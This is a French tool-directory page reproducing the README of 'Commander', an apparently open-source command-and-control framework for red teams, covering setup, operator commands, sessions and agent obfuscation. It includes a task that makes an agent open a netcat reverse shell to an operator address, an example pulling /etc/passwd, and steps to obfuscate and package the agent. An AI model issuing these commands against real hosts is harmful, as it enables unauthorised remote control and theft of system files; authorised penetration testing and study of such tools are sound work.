Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Commander — Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team. | Kitploit
Outils/GitHubGitHub/voukatas/commander
Outils de Chiffrement/DéchiffrementPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubvoukatas/commander

Commander

Cadre de commande et de contrôle basé sur Python avec communication TLS chiffrée, support multi-agent (Python/C), sessions interactives, transfert de fichiers et obfuscation AES pour les opérations de red team.

Voir le dépôt
6318il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Commander

Commander est un framework de commande et de contrôle (C2) écrit en Python, Flask et SQLite. Il est livré avec deux agents écrits en Python et en C.

En développement continu

Pas adapté aux script-kiddies

Fonctionnalités

  • Communication entièrement chiffrée (TLS)
  • Agents multiples
  • Obfuscation
  • Sessions interactives
  • Évolutif
  • Encodage des données en Base64
  • API RESTful

Agents

  • Python 3
    • L'agent Python prend en charge :
      • les sessions, un shell interactif entre l'administrateur et l'agent (comme SSH)
      • l'obfuscation
      • les systèmes Windows et Linux
      • les fonctionnalités de téléchargement/téléversement de fichiers
  • C
    • L'agent C ne prend en charge pour l'instant que les fonctionnalités de base, le contrôle des tâches pour les agents
    • Uniquement pour les systèmes Linux

Prérequis

Python >= 3.6 est requis pour exécuter le programme, ainsi que les dépendances suivantes

root@kitploit:~
Linux pour admin.py et c2_server.py (non testé sous Windows).
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Aperçu

screenshot

Comment l'utiliser

Créez d'abord les certificats et clés requis

root@kitploit:~
# si vous voulez sécuriser votre clé avec une phrase de passe, excluez -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Lancez d'abord le module admin.py pour créer un fichier de base de données SQLite local

root@kitploit:~
python3 admin.py

Continuez en exécutant le serveur

root@kitploit:~
python3 c2_server.py

Et enfin l'agent. Pour l'agent Python, vous pouvez simplement l'exécuter, mais pour l'agent C, vous devez d'abord le compiler.

root@kitploit:~
# agent Python
python3 agent.py

# agent C
gcc agent.c -o agent -lcurl -lb64
./agent

Par défaut, les agents et le serveur communiquent via TLS et base64. Le point de communication est défini sur 127.0.0.1:5000 et si un point différent est nécessaire, il doit être modifié dans les fichiers source des agents.

En tant qu'opérateur/administrateur, vous pouvez utiliser les commandes suivantes pour contrôler vos agents

root@kitploit:~
Commandes :

  task add arg c2-commands
    Ajoute une tâche à un agent, à un groupe ou à tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands : les valeurs possibles sont c2-register c2-shell c2-sleep c2-quit
      c2-register : Demande à l'agent de s'enregistrer à nouveau.
      c2-shell cmd : Prend une commande shell à exécuter par l'agent. Ex. : c2-shell whoami
         cmd : La commande à exécuter.
      c2-sleep : Configure l'intervalle auquel un agent vérifie les tâches.
      c2-session port : Demande à l'agent d'ouvrir une session shell avec le serveur sur ce port.
         port : Le port de connexion. S'il n'est pas fourni, la valeur par défaut est 5555.
      c2-quit : Force un agent à quitter.

  task delete arg
    Supprime une tâche d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Affiche les informations pour tous les agents disponibles ou pour un agent spécifique.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Affiche la tâche d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Affiche l'historique/résultat d'un agent ou de tous les agents.
    arg : peut avoir les valeurs suivantes : 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Supprime la base de données afin que les agents actifs soient enregistrés à nouveau.

  exit
    Au revoir !


Sessions :

  sessions server arg [port]
    Contrôle un gestionnaire de sessions.
    arg : peut avoir les valeurs suivantes : 'start', 'stop', 'status' 
    port : port optionnel pour l'argument start ; s'il n'est pas fourni, la valeur par défaut est 5555. Cet argument définit le port du serveur de sessions.
  sessions select arg
    Sélectionne la session à laquelle se rattacher.
    arg : l'index du résultat de 'sessions list' 
  sessions close arg
    Ferme une session.
    arg : l'index du résultat de 'sessions list' 
  sessions list
    Affiche les sessions disponibles.
  local-ls directory
    Liste sur votre hôte les fichiers du répertoire sélectionné.
  download 'file'
    Télécharge le 'fichier' localement dans le répertoire courant.
  upload 'file'
    Téléverse un fichier dans le répertoire où se trouve actuellement l'agent.

Une attention particulière doit être portée à la commande 'find active agents'. Cette commande supprime toutes les tables et les recrée. Cela peut sembler effrayant mais ce ne l'est pas, du moins c'est ce que je crois :P

L'idée derrière cette fonctionnalité est que le serveur C2 peut demander à un agent de se ré-enregistrer au cas où il ne le reconnaît pas. Donc, comme nous voulons vider la base de données des anciennes entrées inutilisées et en même temps trouver tous les hôtes actuellement actifs, nous pouvons supprimer les tables et déclencher le mécanisme de ré-enregistrement du serveur C2. Voir ci-dessous pour le mécanisme de ré-enregistrement.

Flux

Vous trouverez ci-dessous un diagramme de flux normal.

Flux normal

screenshot

Dans le cas où l'environnement subit une défaillance majeure comme une base de données corrompue ou une autre défaillance critique, le mécanisme de ré-enregistrement est activé afin de ne pas perdre la connexion avec nos agents.

Plus précisément, si nous perdons la base de données, nous n'aurons aucune information sur les UUID que nous recevons, donc nous ne pouvons pas leur attribuer de tâches, etc. Les agents continueront donc à essayer de récupérer leurs tâches et, comme nous ne les reconnaissons pas, nous leur demanderons de se ré-enregistrer afin de pouvoir les insérer dans notre base de données et les contrôler à nouveau.

Voici le diagramme de flux pour ce cas.

Flux de ré-enregistrement

screenshot

Exemples utiles

Pour configurer votre environnement, démarrez d'abord admin.py, puis c2_server.py et exécutez l'agent. Ensuite, vous pouvez vérifier les agents disponibles.

root@kitploit:~
# afficher tous les agents disponibles
show agent all

Pour demander à tous les agents d'exécuter la commande "id", vous pouvez faire comme ceci :

root@kitploit:~
# pour tous les agents
task add all c2-shell id

# vérifier les résultats de "id"
show result all

Pour vérifier l'historique/résultats précédents des tâches exécutées pour un agent spécifique, faites comme ceci :

root@kitploit:~
# vérifier les résultats d'un agent spécifique
show result 85913eb1245d40eb96cf53eaf0b1e241

Vous pouvez également modifier l'intervalle de vérification des tâches des agents à 30 secondes comme ceci :

root@kitploit:~
# pour le définir pour tous les agents
task add all c2-sleep 30

Pour ouvrir une session avec un ou plusieurs de vos agents, procédez comme suit.

root@kitploit:~
# trouver l'agent/uuid
show agent all

# activer le serveur pour accepter les connexions
sessions server start 5555

# ajouter une tâche pour une session à votre agent préféré
task add votre_uuid_agent_preféré_ici c2-session 5555

# afficher une liste des connexions disponibles
sessions list

# sélectionner pour se rattacher à l'une des sessions, par exemple la session 0
sessions select 0

# exécuter une commande
id

# télécharger le fichier passwd localement
download /etc/passwd

# lister vos fichiers localement pour vérifier que passwd a été créé
local-ls

# téléverser un fichier (test.txt) dans le répertoire où se trouve l'agent
upload test.txt

# revenir à l'interface en ligne de commande principale
go back

# vérifier si le serveur est en cours d'exécution
sessions server status

# arrêter le serveur de sessions
sessions server stop

Si, pour une raison quelconque, vous souhaitez exécuter une autre session externe, comme avec netcat ou Metasploit, faites comme suit.

root@kitploit:~
# afficher tous les agents disponibles
show agent all

# d'abord, ouvrir un netcat sur votre machine
nc -vnlp 4444

# ajouter une tâche pour ouvrir un shell inversé pour un agent spécifique
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

De cette façon, vous aurez un shell 'incassable' qui, même si vous êtes déconnecté, se rétablira immédiatement. Seules les commandes interactives le feront mourir définitivement.

Obfuscation

L'agent Python offre une obfuscation utilisant un chiffrement AES ECB de base et un encodage Base64

Modifiez le fichier obfuscator.py et changez la valeur de 'key' par une clé de 16 caractères afin de créer un payload personnalisé. La sortie du nouvel agent se trouve dans Agents/obs_agent.py

Vous pouvez l'exécuter comme ceci :

root@kitploit:~
python3 obfuscator.py

# et pour exécuter l'agent, faites comme d'habitude
python3 obs_agent.py

Astuces

  1. Le serveur d'application Flask intégré ne peut pas gérer plusieurs requêtes simultanées. Vous pouvez donc utiliser le serveur gunicorn pour de meilleures performances, comme ceci :
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Créez un fichier binaire pour votre agent Python comme ceci
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

Le binaire se trouve dans le répertoire dist.

En cas d'échec, vous devrez peut-être mettre à jour vos bibliothèques Python et pip. Si cela continue d'échouer... eh bien... la vie est ainsi.

  1. Créez de nouveaux certificats pour chaque engagement.

  2. Sauvegardez votre c2.db, c'est facile... juste un fichier.

Tests

pytest a été utilisé pour les tests. Vous pouvez exécuter les tests comme ceci :

root@kitploit:~
cd tests/
py.test

Attention : Vous devez exécuter les tests dans le répertoire tests, sinon votre c2.db sera écrasée et vous perdrez vos données.

Pour vérifier la couverture de code et produire un joli rapport HTML, vous pouvez utiliser ceci :

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Avertissement : Cet outil est uniquement destiné à être un outil de démonstration de preuve de concept pour des tests de sécurité autorisés. L'utilisation de cet outil contre des hôtes pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Vous êtes responsable de tout problème que vous pourriez causer en utilisant cet outil.

Télécharger l’outil